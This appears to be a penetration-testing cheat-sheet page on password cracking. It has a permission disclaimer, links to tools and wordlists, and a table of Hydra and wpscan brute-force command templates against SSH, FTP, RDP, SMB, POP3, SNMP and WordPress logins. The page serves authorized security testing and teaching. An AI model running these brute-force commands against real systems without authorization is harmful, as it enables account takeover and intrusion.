Password Cracking
Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.
Headings:
This page was getting to be long, so here are shortcuts to the major sections. I broke these out into separate pages for better organization and searchability.
Not all methods of discovering passwords involve directly "cracking" hashes. Brute forcing logins and direct recovery programs are also viable solutions.
Default Credentials
Search using your favorite web search engine for default credentials of the technology that is being used, or try the following compilation lists:
Wordlists
Password Recovery
Password recovery programs: https://www.passcape.com/products (TODO:Test these!)
ZIP Password Retrieval (with Known Plaintext)
Download pkcrack
https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/download1.html
! Before using, it must be built from source
Syntax
Brute forcing logins
An amazing index of brute-force commands: https://book.hacktricks.xyz/brute-force
Hydra
Below are a few scriptable examples to brute force logins of common protocols.
Command
Description
hydra -P $pass_list -v $ip snmp -vV
SNMP: Brute force
hydra -t 1 -l $user -P $pass_list -vV $ip ftp
FTP: with known user, using password list
hydra -vV -u -L $users_list -P $pass_list -t 1 -u $ip ssh
SSH: using users list, and passwords list
hydra -vV -u -L $users_list -p $pass -t 1 -u $ip ssh
SSH: with a known password, and a username list
hydra -vV $ip -s $port ssh -l $user -P $pass_list
SSH: with known username on non-standard port
hydra -vV -l $user -P $pass_list -f $ip pop3
POP3: Brute Force
hydra -vV -L $users_list -P $pass_list $ip http-get $login_page
HTTP GET: with user list and pass list
hydra -vV -t 1 -f -l $user -P $pass_list rdp://$ip
Windows Remote Desktop: with known username, and pass list
hydra -vV -t 1 -f -l $user -P $pass_list $ip smb
SMB: brute force with known user, and pass list
hydra -vV -l $user -P $pass_list $ip http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
WordPress: brute force an admin login
hydra -vV -L $users_list -p $pass $ip http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
WordPress: enumerate users
wpscan --url $url -U $user -P $pass_list
Use wpscan to brute force password with known user
Other useful Hydra options
-x min:max:charset
- Generate passwords from min to max length. Charset can contain 1
for numbers, a
for lowercase and A
for uppercase characters. Any other character that is added is put in the list.
Example: 1:2:a1%.
The generated passwords will be of length 1 to 2 and contain lowercase letters, numbers and/or percent signs and periods/dots.
-e nsr
- Do additional checks. n
for null password, s
try login as pass, r
try the reverse login as pass
crackmapexec
https://mpgn.gitbook.io/crackmapexec/
Resources
If you like this content and would like to see more, please consider buying me a coffee!
Last updated